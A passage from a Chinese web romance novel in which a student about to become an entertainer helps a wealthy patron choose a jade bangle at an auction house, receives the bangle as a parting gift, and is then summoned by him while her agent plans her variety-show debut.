沈冲扉只好乖乖地叫了他:“孟先生,这么巧。” 旁边那个珠宝部的摸摸鼻子,与孟宗台进行了一个极短暂的眼神交换,像个路人甲似的走开了。 孟宗台进了电梯,却没按关门键,也不知道是懒还是有耐心,等着它自动关。 “从楼上下来?” 没人比他更知道这一问不可能。再楼上就是嘉德的会所了,普通人连门朝哪开都不知道。 “去六楼。” 孟宗台乜她一眼:“这里是九楼。” 沈冲扉汗颜,似乎被逮到玩忽职守。 门终于关了,孟宗台伸出指尖,帮她按了六。 “毕业后打算来嘉德工作?”他闲聊。 沈冲扉无声笑了笑。如果是正常毕业,大拍卖行当然是个不错的去向。 “也许吧。”她倦懒的眼眸望向了无意义的他处。 “撒谎。” 沈冲扉心头一跳,挽在另一条胳膊上的手收紧。 本就狭窄封闭的空间令人窒息地静了一静。 “是什么在这段时间折磨着沈小姐,比董其昌还折磨得狠?” 他略带戏谑而慢条斯理地问。 沈冲扉为他的戏谑生气,一抬眼想辩,却撞进他沉静的视线里。 原来那点戏谑只浮在声线上,没进眼底。他看着她,目光沉而缓,像夜潮贴着堤岸往上漫,叫她退无可退。 她喉间一紧,忘了要辩什么,索性笑叹一声,对他投降似的:“什么也瞒不过您。” “说出来。” 说出来又怎么呢?沈冲扉想。也许你是个很厉害很厉害的大人物,但也无法搅动他人命运的风暴,甚至这种搅动是不道德的,是特权的。而一旦介入,这风暴也就混沌了,一切都早已无法回到正轨。 很久后当她已经习惯了闪光灯,习惯了凌晨四五点起来上妆,习惯了吃东西只吃一点点,习惯了山呼海啸的尖叫和应援时,她偶尔会想到电梯里的这一问。 那时她不了解他。 不了解他的不道德,他的特权,他的“偏要”。 沈冲扉低了许久的头终于抬起,眼圈是红的,两片唇却是微笑着,声音绵绵的下着一场江南雨: “我要去当艺人了,孟先生。今天也许是我最后一次做这些工作。” 9.第 9 章 六楼眨眼间即到了。 沈冲扉收拾心情,故作春风满面:“再见,孟先生。” 她将拓片顺利送到了负责人手中,本该再回去拍卖厅去核对图录,却被叫住。 叫住她的正是那天接待他的助理,鞠了微微的一躬:“沈小姐。” 太客气了。沈冲扉听见他叫其他师兄姐都是小x,或者x同学。 “蒋总说您先不必回拍卖厅,另外有工作安排给您。” 他们这些志愿者被分派给了各个小组,每组各有负责人,再往上才是中层、高管及蒋总。蒋总亲自要人,沈冲扉不明所以,当是有什么重要任务要委派。 “劳您带路。” 两人进了电梯,数字九又亮了。 这个数字在嘉德已经有了另一层潜台词。沈冲扉用牙齿细微地磨了磨下唇,头低下来,心却随着电梯往上。 在一号鉴赏室门前,助理停下了脚步,又是微微一躬:“您进去就是。” 沈冲扉深吸了一口气,推开门。 首先映入眼帘的依然是故宫的红墙和飞檐,刚刚才分别的男人此刻侧对着她,两条胳膊撑在明制长案上,上半身俯着,正在端详东西。 听到动静,他没抬头,只说:“关门。” 这里一如既往的安静,与楼下古代书画专拍现场有着截然不同的氛围——楼下是举牌、攀咬、逼价、博弈、落槌,而这里依然专属他,厚绒地毯上只留他鞋印。 沈冲扉走进去,依言关上门。 走进去方才感受到灯光与上次不同,环境灯被压暗了,只桌面一圈光。深灰的绒上搁着黑手套、一柄细镊、一只放大镜、一柄专业趁手的电筒。 以及,数件翡翠镯子。 在孟宗台的身后侧,陪着一个穿一步裙的女人,从穿着上给人以专业顾问的感觉。 “你来看看。” 孟宗台起了身,取过一旁托盘里的冰毛巾,擦了擦手。 “我不懂这个。”沈冲扉有自知之明。 文物是文物,玉又是玉。要不然拍卖行也不用分这么多部门了。 “那就看眼缘。”他递了副新手套给她,白皙指节与黑丝绸在灯下显出鲜明对比。 沈冲扉只能接过,在自己素得什么也没有的手上套好。也没什么二话,虽然心跳怦怦的还没稳下来慢下来,但她告诉自己,做事就是做事。 一眼看去,件件没有标价,跟那天的私房菜馆一样。 这也算是一种心理战了。但沈冲扉反正也是真不懂,何况不是她掏钱,她也没帮他省佣金的义务。 贵货自带气质,不允许人将它看低,浑身散发着凌人的高贵。沈冲扉也知道这里全是珍品,个个都透得吓人。不全是帝王绿,也有水水的玉色,或者淡紫色。 圈口很统一,偏小。 沈冲扉料想他是在给什么女人挑。看样子,那女人手很细,腕秀。 她先没上手,而是大约地扫一眼。 头一只满绿,色阳,绿得均匀,光一打,整只透进去,有种艳丽的青蛇感。 孟宗台捕捉着她每一次眼神的停留、每一次瞳孔里的光芒。 但沈冲扉实在是老成,大约是打小练字习画留下的习惯,面对贵货,她不卑不亢,既没有如履薄冰,也不惶恐,看一只放一只,不表态,也不给情绪,像一个真正老道的专家。 第二只,带春带彩,紫里透绿,绿处浓,紫处匀。 第三只飘花,底子白得起水,几缕蓝花丝丝入扣,像化开在水里。 每一只搁到绒上,孟宗台身边的女人都用镊子轻轻转一转,让灯从各个角度进去,让绿在肉里活过来,浮上来一层,又沉下去一层。专业词汇清晰地从沈冲扉耳边过:种、水、莹光、矿区、新老。她听不大懂,第一次接触。 听父母念叨过,说老太太是有些私藏的,但从没人见过。这些绝世的好东西只流传于叔婶姑伯口中。 孟宗台今儿个耐心也好,给足时间,竟在一旁圈椅坐下了,端起盖碗茶抿了一口,西装裤下的长腿搭着,专人打理的裤线笔直。 顾问将纳罕压在心里。 首先,这些东西孟先生已看过了一遭。 其次,他买卖向来爽快,从未发生过这样一天内相看两次的事。 最后,这姑娘一看就不懂行,她不知道孟先生找她的意义。 难道……顾问小姐将目光不动声色地在沈冲扉身上流转一遭,有了判断。绝无可能是孟先生的女人。就算真对她动了兴趣,看她未雕饰的模样也知道,孟先生还没得手,也就不可能起手就用这级别的东西去追人了——有钱男人不是傻子,一个LV能搞定的对象,为什么要花几千万? 沈冲扉耐心地看了每一只,两遍,最后拿起了最外缘的一只。 颜色淡如水,放在其中像走错了地方。拿起近看转过角度,才能看到一抹绿。是水底下压着的春色,将浮未浮的模样。 “要说眼缘,我觉得这只好。”沈冲扉转过头去找孟宗台。 “小姐好眼力。”顾问开口,客气里带着淡淡的距离感:“这只种也老,肉很细,通体无杂,但色淡了些。” 被她这样若有似无地一批,沈冲扉那老专家的模样也就破功了,明显心虚。 微笑着深吸一气给自己振奋,说:“我猜东西的好坏都体现在价格上了,假如要选优的,直接照着最高价买就好,孟先生既然是能站在这里的人,想必也不至于在这些里头高不成低不就。” 这话说完,顾问的脸色都白了,目光紧张投向孟宗台。 哪儿来的学生妹!说话没轻没重大言不惭,简直让她听得心跳都没了! 孟宗台不紧不慢地先抿了口清茶,搁下杯子:“沈小姐人情练达,看事通透。” 沈冲扉听不出他这是真心实意还是阴阳怪气呢,只觉得被他视线一捉,耳根就发热。 孟宗台起了身,递了个眼神给顾问。 再有话想追,也不能说了。顾问无奈出门,将空间留给两人。 “喜欢这个?”孟宗台将那只拿了起来。 他手大,指有力而长,将镯子轻巧地捻在中指和拇指之间,衬得这圈口更秀气,仿佛能想象到他整个儿折握着那女人手腕的画面。 沈冲扉暗地狠咬一下唇,驱散这些乱七八糟的,正色答道:“我谈喜欢是僭越了,但孟先生既然请我说,我就按眼缘说。这只颜色不吵,气质温雅,转过一抹绿是惊喜,像藏好了的个性。” 孟宗台轻微地哼笑一声。 说的是镯子,他听的是人。 “不过,”沈冲扉有一说一:“我是先预设了孟先生要送的是个年轻女人,要是给长辈,这就显得不够压得住。再者……玉随人,孟先生还是根据那位小姐的个性来吧,我挑了不作数。” “作数。” 孟宗台言简意赅的两个字。 沈冲扉垂在身侧的手指尖颤了一颤,脖子上像被他目光压着了。 她很本分,也未开窍,从不多想的。大约还是因为房间闭着,而他是这样鲜明的一个成熟男人。 “我……下面还有事等着。”沈冲扉越来越觉得站不住,脚下有钉子似的。 “你今天剩下的事,就是帮我选镯子。”孟宗台轻描淡写地驳回了她的借口:“是我跟蒋文宋要了你,你心里清楚。” 他说的话渐渐露出些比之前更紧的张力,沈冲扉感觉身体某处如一张弓,被他扯紧了。 “那镯子现在也选好了。”她仰起头望了望他。 “所以你可以回家休息了,沈冲扉小姐。状态不好的时候,不必逼自己坚守工作岗位。” 被他近乎关怀的话语一拆,沈冲扉立即觉得眼热。 也有几分哭笑不得。这是多自由的人才说得出的话? “我没有逼自己。”沈冲扉略带狼狈地躲开他注视,“我导师、师兄姐们都在这里忙着,还有一些是之前毕业的前辈们。我是第一次,也是最后一次这么近距离看他们做事,想象的是另一种可能的自己。” 末了,她再度露出了那样眼眶微红式的微笑,自己嘲笑了自己:“我也知道有点好笑。” 孟宗台看了她良久,脸色敛着,慢慢地浮出一丝不易人察觉的温厚:“我在你这个年纪时,不如你。” 沈冲扉破涕:“您说笑了。” “我猜你中午肯定没来得及吃东西。”孟宗台指指一旁茶几上精致的京八件:“不嫌弃的话,先垫垫肚子,我出去打个电话。” 他居然真的出去了,也不担心沈冲扉把这些无价翡翠偷了碎了。 沈冲扉确实也饿得厉害,顾不上客气,大快朵颐起来,一口一块,从没觉得豌豆黄能这么好吃。 吃得猛了,噎得慌,加上一早上的讲解,她嗓子冒烟,一边拍着顺着心口,一边找水喝。 然而茶几上只有一盏盖碗茶,旁边配了一把提手壶 ,做添茶用。伸指触壁,滚烫。 沈冲扉没法子,也不介意这许多,将碗盖揭开,模拟了一下。孟先生那样坐,那样端起来,又那样顺手放下,所以嘴唇碰的应该是这一片。 孟宗台推门进来时,就看到她琢磨这些。冥思苦想,手动推演,像琢磨数学题。 推演完毕,沈冲扉将碗盖揭开,精准地选了一个角度,小心翼翼地抿上去。 昂贵的瓷胚在杯沿拉出一个由厚至薄的弧度,含在双唇中,似一个若有似无的轻吻。 沈冲扉觉得自己这个脑袋最近坏得很,尽想些奇怪的。她索性紧闭双眼,眉心蹙着,全力以赴驱散这些歪念头。 从孟宗台的眼里看上去,就像是以视死如归的架势在喝农药。 孟宗台:“……” 孟宗台:“让人拿瓶水来很快。” “噗——咳咳咳!”沈冲扉一口茶尽数噗到了地毯上。 始作俑者却很慢条斯理,也没点干了坏事的自觉,往桌角一靠,双手环在胸前,看着她咳。 “这么嫌弃,何苦?” “不敢走开,怕翡翠丢了……”沈冲扉可怜地说,脸是绯红了整张。 孟宗台连身子都没挪,抬手,修长指尖落在桌边某处:“这是服务铃。” 沈冲扉:“……” 臊得想找地洞钻进去了。 果然马上就有人应声而来。来的却有两拨,一拨添茶,另一拨候着。还是那张熟脸,蒋总的助理。 等沈冲扉填饱了肚子也润好了嗓子,他说:“沈小姐准备好了的话,我们随时开始。” 孟宗台人已消失。 果然随心所欲呢。 沈冲扉的茫然里还藏着些怅然,自顾自无声地失笑了一下,跟着助理走了。 这一走,就是从下午到入夜。 她进了状态报告的复核间,看老师傅在放大镜下逐寸勾出这件东西的每一处修复、每一枚存疑印章。 她坐在了鉴定合议桌旁,听七位专家为一段题跋争了四十分钟,面红耳赤,却又君子之风。 她被秘密带进了委托席的准备间,听全球时区几十位藏家的资金、脾气、面子和忌讳。 她甚至看到了一件手卷是如何、因为什么在开拍前三小时被撤拍。 沈冲扉看得如饥似渴。这些,都是一个拍卖行的运作机密,从台前,到幕后;从学术,到商业,一件东西怎样在真伪、价格、人情和时间里来回被拨动。 那些她过去只在课堂上听过的词,今夜有了血肉。 志愿者的工作结束于六点,接下来的夜场实行封闭式邀约管理。但那些师兄姐们却上下都找不到沈冲扉。 最终是蒋总亲自出面说,“沈同学有另外重要的事安排。” 学生们讷讷的,不明所以。周望舒心底一叹,打了圆场,将他们带走了。她知道这世道向来如此。对有些地位的人来说,一旦被他看见了,就是被命运看见。躲不了也推不过。 夜场正式开始。 沈冲扉进入观察室,隔着单向玻璃看完了整场。拍卖师如何控制节奏;电话代理如何跟远程买家沟通;一件东西流拍或落槌间那关键的零点几秒…… 风起云涌,纵屏息目眩仍接不住、看不及。 孟宗台不在。他要的东西早已私洽走了,他这种级别的从不在场子里现买。 最后一槌落下,沈冲扉如大梦一场。梦醒时分,已是西楼明月。 蒋总至此才现身,邀请她参加庆功宴,毕竟这也属于“幕后”的一部份。 沈冲扉知道他已为她开了一整天的后门,很识趣地拒绝了:“我这样的进去,恐怕格格不入。” “fakeit,untilmakeit。”蒋总幽默地说,随即正色:“沈小姐是孟先生看得起的人,绝非池中物。往后,您站在这种场合的机会多得是。” 果然是孟宗台的安排。 这是他送给她的,别具一格的告别仪式。 沈冲扉垂下眼睫,尝不明白心中滋味。百转千回,化为分寸的一句:“有机会,劳您帮我转达一句谢谢。” 蒋总不多事,只看透一切似的微微一笑,从一旁桌上拿起一个方方正正的螺钿盒,按下机括—— 啪的细微一声,上盖弹开,一只色淡如水、只在转角处浮出一抹春绿的翡翠镯,玉立正中央。 “孟先生说,祝您大红大紫,早日成角儿。” 10.第 10 章 沈冲扉的眼泪就这样涌了出来。 所有无人可说的害怕、委屈、遗憾,都在这一句“早日成角儿”里了,也都在她的眼泪里了。 这么多天来无人可说也理不明白的情绪山洪般泄出来,她将两手紧紧捂住面孔,任眼泪濡湿指缝。 蒋总默默等着,也没出声。他知道此时此刻自己站这儿是浪费了,应该孟先生亲自在。 他看不懂孟宗台,一掷千金,却舍得缺席这样的关键场合。是没料到么?不,明明是不动声色中洞悉一切的人,又怎么会料不到她这时候会哭呢?趁虚而入,才该是男人本色。 庆功宴还在等着他,蒋文宋将螺钿首饰盒放进沈冲扉书包里,让司机代为守候。 间隙中打电话给孟宗台,正经交代:“东西交了,话也按您说的带到了。” 顿了一顿,说:“沈小姐哭了。” 电话那头没什么反应,过了会儿才说:“知道了。” 就这么挂了电话。 老许载人回家,从后视镜里瞥了眼,说:“沈小姐收到镯子,心里该是忘不了您了。” “已经结束了。”后座的男人淡声说。 老许愕然,嘴巴都半张开。他知道他这主子高深莫测,但几次三番的邂逅、两番天价贵礼,还顺道送她六姐一个人情,竟什么也不要? 甚至连电话号码也。 老许讪笑着,“您这是……” “萍水相逢,尽兴就好。” 老许想了半天也没想明白,这尽的是哪门子兴呢?不过,要不人家地位高眼界远呢,玩得确实跟普通人不是一个路子。他是真服了。 沈冲扉花了些时间整理好了自己,上了车。她知道镯子就在她书包里,就像当初那卷董其昌一样价值连城。 想到私房菜馆里他有关她手腕尺寸的那一问,便懂了。他从决定收回董其昌的那天起,就打算回给她一份同等的礼,绝非是今天心血来潮。 沈冲扉将手伸进书包,将螺钿盒从凉握至温,指腹摩挲着圆润的边角。 这一次,她不是慌张的雀鸟了。 回到宿舍,她跟几个等了她半天的舍友一块儿吃宵夜,因沈冲扉说过要请客。 “你还没说今儿为啥请客呢。” 沈冲扉颇有些郑重地说:“和大家相处很开心,但从下周起,我就要搬走了。” 公司给她在东三环那边租了公寓,方便跑动,早八有课时就提前一晚来住附近酒店。 沈冲扉是个好舍友,大家相处也和睦,听她要搬,纷纷关怀:“是家里出事了吗?” 沈冲扉签了保密协议,不能透露自己的出道计划,便找了个理由岔了开去。恰逢微博有了新热点。 “我去,路晚晚点赞了林知薇的黑料!” “真的假的?手滑还是故意的哦?” “你路姐那小太妹性格还能是手滑?” “等着吧,等热度差不多了,你路姐就要出来说”哎呀~手滑了~”了。” 娱乐圈八卦也算是枯燥生活里的一些调剂。只不过,往日的沈冲扉都当没听到,今天却很认真,甚至主动求解:“路晚晚是谁?林知薇又是谁?” “……”把同学们给问倒了。 “路晚晚是90花顶流,走甜美元气路线的,有几个大爆剧。” 列举二三,沈冲扉虔诚点头:“听过,回去我就看起来。” “咋的你要考研啊?”舍友调侃。 “迎头赶上,”沈冲扉莞尔,“争当弄潮儿。” 几人笑得东倒西歪:“时髦得很嘛,七奶奶。” 接着科普:“所以呢,路晚晚国民度很高,粉圈战斗力也强。但她学历不高,闹了很多没文化笑话,而且年纪也到了,该转型了。” 沈冲扉求知若渴:“嗯嗯!” “再来说林知薇,95花里势头不错的一个,据说是京圈公主,家里深不可测,所以资源很好,还是科班出生,清冷纯欲白幼瘦,这两年应该吸了很多买股花粉。” 一个小时前沈冲扉绝想象不到,她的上半夜在告别宋明清,告别画心、装池、题跋,下半夜却骤然被抛到了各种高度缩写的粉圈黑话中。 “她俩不对付么?”她问。 “按理说差着辈儿呢,但路晚晚不是要转型么,偏偏这条赛道又有林知薇了,零和博弈赢家通吃,恨上了呗。” “据说这次又是为了撕饼。”舍友继续科普:“有档慢综艺要上,好像是讲文物的,两人都想上。” “不是我说,这种综艺该找专业的不是么?类似于心动offer那款。咱扉扉绝对一亮相就爆红!” 这捧杀沈冲扉不知道怎么接。 文博专业招人少招人难,招进来的还都是沈冲扉这样的“土老帽”、小镇做题家。虽然这几年文博旅游有火热的苗头,但毕竟是个小圈子,靠小圈子爆红无异痴人说梦。 回宿舍已近半夜。 沈冲扉将螺钿盒带上了这张她最后一晚休息的小床。 四边帷帐垂着,空气里淡淡氲着她的身体发香。她捻开台灯,在月辉似的灯下,端详着这支她亲手选定的镯子。 她太本分,甚至没将镯子取出来,往手上戴一戴、比一比。 孟存退和这镯子一样,因为不知道身后跟着多少个零,而令人望而却步、处之生畏。 萍水相逢的东西,不作他想。沈冲扉轻巧地合上盖子,睨下的目光渐渐的失焦了,脸上浮起她自己也未曾发觉的柔和笑意,带着点释然。 雪地里披着雪的石菩萨,被月晒得融去了雪意。 她将镯子塞到枕头底下,打开社媒,照着舍友刚刚科普过的名字一个一个搜。 路晚晚,林知薇,撕饼,花粉,买股,女演员的类型和转型路。 她看专业课资料都没这么艰难过。至少那讲的还是人话,这儿讲的是黑话,还尽是拼音缩写。 粉丝说林知薇是wwzz。 wwzz是什么? 完完整整?哦,无妄之灾…… 半个小时后,沈冲扉在备忘录里新建了一个文档。 【娱乐圈词典】 饼=资源。 撕饼=争资源。 花粉、生粉=年轻女、男演员的粉丝。 买股=提前押注谁会红。 Top粉=只粉最红的人的人。 太子、公主=拥有资源但暂时难以服众之人。 九漏鱼=小学学历(虚指),常用于嘲笑在公众前犯下常识错误的明星上。 写到这末一条,沈冲扉郑重其事地加了一句备注: 【谨言慎行,不可托大,不知为不知。】 好了,今天的知识就学到这儿,贪多嚼不烂。 当她一边恶补娱乐圈常识一边上专业课时,孙蕾和沈黎霜也在为了她的初次亮相而亲自谋划走动。 早晨九点半,国贸三期某咖啡厅。 孙蕾看着送到面前的策划案不动声色。 那封面写着四个大字:《旧物有灵》。 坐在孙蕾面前的是飞流视频中层,池早。 “《旧物有灵》,文博观察类综艺。说综艺,其实更偏纪录真人秀,一期一件物,一件物串一个人、一座城、一段史。飞流出平台,京卫出班底,九大博物馆加上国家文物交流中心联合出品,纯纯国家队配置嘛这。” 孙蕾恭维:“哎呀,路晚晚和林知薇都打成这样了,谁不知道是大饼呀?池总给交个底,谁赢了?” “多余问。”池早搅着杯里的冰块:“你手里不是有新人吗?来给知薇搭个班,混个脸熟。” “这么好的机会,难为池总还能想着我这儿了。”孙蕾客气回去,人一走,翻了个白眼。 臭要饭的,请不到明星上这儿打秋风来了。 这档节目孙蕾早摸透了。 原本她想着跟沈冲扉专业对口,最能放大她优势,便想搭这班车。没想到实际上根本不是这么回事。 这节目实则是林家动用关系,借着国家队的名义,给林知薇量身定做的。 但从飞流内部到赞助商,没一个看好。不能走真人秀的路子炒话题,说的还是文物——哪个年轻人点开飞流是为了学知识的?那怎么不点开□□? 就这样,节目招商到现在都还开天窗呢,嘉宾也没着落。什么路晚晚和林知薇撕饼,都是公关手段。谁想去?有点流量的小生小花都不肯,怕给林知薇当背景板,或者被恶剪。也就路晚晚那小作坊没脑子,被人当枪使还有苦说不出。 孙蕾冷笑一声,一回办公室就将策划案给甩了垃圾桶。 与此同时,沈黎霜带来了另一个资源——恋综。 “你疯啦?谁家小花靠恋综出道?”孙蕾都气笑了。 “想什么呢。”沈黎霜老神在在:“小七去当观察员。我跟人节目组说了,别老整一堆中登在那讲道理,也看看青春期的repo,给观众找个嘴替。” 作为六姐和老板,沈黎霜不可谓不费心思。 以前的资源咖尽往剧组塞,一是因为片酬高;二是没办法,体裁少。哪有现在遍地开花的综艺啊?观众只能看电视剧和新闻! 时代变了,现如今艺人可以选几档综艺慢慢地刷国民度、路人好感,再去接讨喜的角色。就算一直当综艺咖,赚得也是一点都不少,还舒服。 沈黎霜没想把沈冲扉设计成曲高和寡的质感小花,她身在洪流中,早已感到水流的滞重迟缓——不是从前的好日子了。人得识时务,顺势而为,才能往上。 况且她沈七还嫩着呢,艺人生命长得足够转型。有了流量、钱、阅历,再慢慢钻研艺术。 不过这不代表沈黎霜松懈了对沈七的要求。她已和孙蕾着手安排起对她周密的训练,从声台形表基本功,到面对各种场合的姿态,再到粉丝管理、人设。功课之繁重,相当于给沈冲扉修了个第二学位。 恋综是飞流的头部综艺之一,想分一杯羹的人前赴后继,沈黎霜也是费了功夫花了钱才拿到话语权,绝不能浪费。 她打电话给老许,让他带上女儿来吃中饭。 孟总救她于水火,迅如惊雷,却又无声无息,连痕迹都追溯不到,像只是抬了抬手指头——这样的资源,沈黎霜丢不得。 但他至今不露面不表态不暗示,沈黎霜看不透他的欲望,也就看不透他。 对这种级别的人,她也就只能先从外围入手稳住,先用利益深度捆绑住老许。 沈黎霜将策划案推到了他面前,话对小姑娘说:“你就是松松呀?好名字。我听说你今年是第二次艺考?也就是成年了?” “十九了。”松松说,嘴甜着呢:“黎霜姐,你好美呀!我都舍不得眨眼睛。” 沈黎霜微微一笑:“艺考是十月份,我这有档节目刚好还有个缺,想不想去玩儿?” 不等老许说什么,松松受宠若惊:“能、能行吗……?” “这得看你爸爸。”沈黎霜千年的道行,将话锋一转:“上恋综嘛,还是得爸爸同意才行哦?” 女儿已经心动,一把牵住他胳膊:“爸,这个综艺可火了。” “谈恋爱给全国人看,这不胡闹吗?”老许还是军人作风。 “可以不成CP呐。”沈黎霜四两拨千斤,“当个独善其身的,让观众心疼她。或者你很心动,但出于年纪小,最后之夜你还是选择了放弃,却没想到对方跟你一样,这BE感宿命感不就来了?男孩儿我也选好了,我公司的,跟你差五岁,你们就走‘年上的爱名为放手’这个剧本。” 松松的崇拜简直要从眼里冒出来,猛摇老许:“爸!你别耽误我!” 沈黎霜给了七天时间,让老许带着策划案回去好好考虑。 都是狐狸,老许怎能看不穿她的图谋?但他承认,自己上钩了。一个艺人,不仅是进水渠,还是漂白渠,用处可太多了…… 但老许知道,他一切的根基都在于他是孟宗台的司机,孟宗台是他的天,能不能赚这个钱,要看天气。 他仔细研究了这个策划。看到沈冲扉的名字时,老许愣了一愣,倏然懂了,长叹一声—— 孟宗台不会和娱乐圈的女人扯上关系。恐怕这才是他对两人往来戛然而止的真相。 前晚上有重要宴席,孟宗台在国宾馆留的宿。这天一早老许前去接他,判断出他心情不错,遂话家常似的提起:“有个综艺请松松上,姑娘这两天高兴得书也读不进去。不瞒您说,是沈黎霜介绍的。” 通常情况下,孟宗台不会管这么宽。但他今天居然多问了一句: “什么综艺?” 老许从后视镜飞速瞄了眼他,见他闭目养神着,搭在膝头的指尖安然未动,松了口气,“说是什么恋综,就是几个年轻人相亲给全国人民看。” 孟宗台的手指动了。 老许的心也紧了。 ——孟宗台修长的指尖在黑色西裤上微敲了一敲,不动声色,像是随口一问:“还有谁?” 还有谁……? 老许给他问懵了,回忆着:“还有沈黎霜工作室签的男艺人,跟松松搭配。” 接着又报了几个孟宗台可能听过的艺人、主持人。 “还有的就都跟松松一样……” 话说着,老许的脑筋忽然一下拧了过来,人也坐直了,保持着刚刚的语气说完了全部: “都是素人,包括那个在京大念书的沈冲扉沈七奶奶。” “沈七奶奶。”孟宗台重复了一遍这称呼,哼了一息。 老许也不确定这算不算是笑了。 下一秒,他敛回那平静无澜的面色,掀开眼皮,沉沉地说:“给沈黎霜打电话。” 东三环,沈黎霜工作室。 大会议室里坐了五个人,屏幕上投放恋综的策划案,除了沈冲扉和两个老板外,还有两个编剧,负责观察沈冲扉及参与脑暴。他们要给她量身定做一个综艺人设、台本和弧光成长线。 作为当事人,沈冲扉是最安静的,一边听着一边在白纸上涂涂画画,置身事外的模样。 让她当观察员她没什么意见,只要他们别嫌她无聊就好。 铃声骤响,沈黎霜扫了眼来电显示,露出半个微笑。 老许。 看来,鱼上钩了。沈黎霜滑开接听。 入耳的却是另一道声线。 “沈六小姐。” 只一声,沈黎霜的天灵盖就麻了。 从没人这样称呼过她,用充满压迫感却又轻描淡写的咬字——既散漫,又像阎王点名。 沈黎霜豁然起身,另一手捂听筒,做出微微弓背的姿态:“孟先生?” 她声音很轻,但会议室也因她不同寻常的反应而落针可闻。 沈冲扉的笔尖顿了一顿,将头抬了起来。 她知道六姐的孟先生不是那位孟存退先生,但仅仅只是姓氏相同,就足够她用上了全部的注意力。 不知对面说了一声什么,以至于她的六姐也在这一刹那恰好地看向了她,用的是震惊、空白的表情。 孟宗台在那边言简意赅地说: “沈七小姐上不了恋综。我要见她。” 11.第 11 章 沈黎霜的大脑一片空白。 那一瞬间她想了很多。嘉德地下车库那模糊不清的一眼,沈冲扉卧房里那凭空出现的古字画,以及她被解救了却没付出任何代价…… 对面早已挂了电话,沈黎霜掌着手机,半天才缓缓地垂下了手。 会议室里的气氛陡然变了,几人面面相觑。 还是孙蕾先开口:“怎么了?出什么事儿了这个脸色?” 沈黎霜下意识碰了碰脸,摇摇头:“没事儿,继续吧。” 编剧之一起了个头,沈黎霜才想起来打断:“先不聊扉扉。小昕,你把祁岳叫过来。” 祁岳就是那个要去跟松松组CP的男艺人。 孙蕾走到沈黎霜身边,用只能两人听到的声音问:“怎么回事?” 沈黎霜仍旧摇头:“不好说。” 沈冲扉却猜到了,或许是那个孟先生看不惯她,想使绊子雪藏她,因她的出道留住了四合院,让那个姓孟的算盘落空了。 也好。她反正也无所谓。要是那个姓孟的能雪藏她两年,还算帮了她呢。 沈冲扉索性更安下心来涂涂画画,一切的讨论都成了白噪音了,从她左耳进右耳出。 她自幼练字,手闲不住,落笔信马由缰。等意识到时,一只圆圆的镯子、一盆灵俏的文竹跃然出现在了纸上。 沈冲扉一怔,将纸揉成一团。。 过了半个多钟,沈黎霜喊了中场休息,将她叫到了走廊。 她的目光浸透了恨铁不成钢,看了沈冲扉良久。 沈冲扉两手贴在背后靠墙站着,像挨训的学生。 “七妹,你明明是个聪明人,怎么会交代在这种最不该犯的大错上!” 这是她妹她员工她还是小苗苗的摇钱树,要是她孩子,她早就一个巴掌呼上去了。 “你跟那个孟先生——”沈黎霜恨不打一出来。 沈冲扉面无表情地犟嘴:“姓孟的要你雪藏我,对吗。” “……”沈黎霜一下子哑火了。 什么东西? “我没得罪他,他非要把这账算到我头上,我也没办法。这能是我的错吗?”沈冲扉扭过头,显然也有了脾气。 沈黎霜顿时就意识到,这中间肯定是有错位。但事已至此,她已经没有置喙的余地,何况她自个儿都没搞明白! “你收拾一下,孟先生要见你。” “我不去。” “你招惹了他,还由得了你?”沈黎霜冷笑了一声。 “好,我去。”沈冲扉又很干脆地改了主意,应承下来。 沈黎霜眯了眯眼:“你想干什么?” “不干什么。”沈冲扉扭过脸,“六姐提醒过我,他们那种人不是我能以卵击石的。我只是想看看,到底是什么人。” 沈黎霜深吸一口气,长叹一声:“小七啊,要是我年轻十岁,这一趟我就替你闯了。” 她叫来了化妆师,让给沈冲扉上个淡妆。 “别太利,也别太艳,柔和一点,白开水一样。” “纯欲风。”化妆师懂了。 “不要欲。”沈黎霜严厉地说。 孙蕾那边来电话催她继续开会,沈黎霜反复交代了三遍:“不要什么暗示、诱惑、擦边、我见犹怜。”方才走了。 沈冲扉坐在梳妆台前,和化妆师对视一眼。 “这……还有画的余地吗?”化妆师捏着粉扑苦笑一声,“就素着好了呀。” 说归说,她还是尽力照办了,给沈冲扉打了个底,遮掩了一下黑眼圈,勾勒了修容和高光——都是雕花的精细活儿。 化到末尾,沈黎霜又来了,让造型师找条裙子。 倒是有一些品牌送来的样裙。挑来挑去,不合身的就不提了,太露的不要,太隆重的不要,太fancy的也不要。 最后沈六拍板,选了件小飞袖的桃粉色掐腰连衣裙,说实在的,有点土,好嫁风。 沈冲扉不嫌,就是不自在,因为不是她的风格。 说:“六姐,是不是太时髦了?” 其余人:“……” 算了,孩子还小。 打仗似的折腾完,沈黎霜赶走了所有人,双手扶住她肩膀:“小七,到了地方,一切就都看你的机灵了。如果是别人,我拼一拼或许还能护你,他,我没法。” 沈冲扉安静听着她交代。 沈黎霜郑重其事、耳提面命:“你把这当作你的第一课。听着,你漂亮,今后有数不清的人想染指你,你要学会处理。保护自己的方式有很多种,你要判断什么时候来软的,什么时候得硬气。二十年前,你六姐我被导演拉着去拉煤老板投资,大腿坐过,交杯酒喝过,桌上舞跳过,酒瓶子也砸过。” 她将头发反手一拂:“这儿,看到了吗,这儿有一条疤,被头发盖住了。” “你砸的自己?”沈冲扉吃惊地问。 “不能砸对面呀。”沈黎霜笑笑,“砸了,我就进去了,犯得着吗?留得青山在,不怕没柴烧。” 她有些得意地说,现在那老板在里面待了好多年,儿子把家产败光了。 “任何时候,哪怕是最坏的时候,也要尽力争取对自己最好的一面。”沈黎霜又深吸了一口气,灿然一笑:“好了,我不吓你了。我想,他对你来说是个正人君子。” 一通的陌生电话打了进来。 沈黎霜似有预感,在接通前,目光一沉,迎接命运的破釜沉舟。 “这就下楼。” 一台宾利停在地下电梯厅入口,开车的不是老许,而是新面孔。 沈黎霜将沈冲扉送上车,临别交代了最后一句:“柔顺行事。要是谈到了的话,帮自己争取一下刚刚那档综艺。” 车窗徐徐合上,伴随着往前的车轮。 沈黎霜一直目送着车子驶出视线,眼睛眯了眯。 她知道孟宗台今夜不会对沈冲扉做什么,她怕的是以后。上面这些掏心掏肺的谆谆教诲,一为教她提点她,二为给她打个预防针。 以七妹的慧,吃了这些垫肚子的,不会不防着他,不会不跟他相处时扣着数。一个女人一旦开始防男人,风情也就没了。如此一来,孟先生失了对她的兴趣,危机自解。 公司的摇钱树是树,权贵的富贵花是花,沈黎霜分得清。 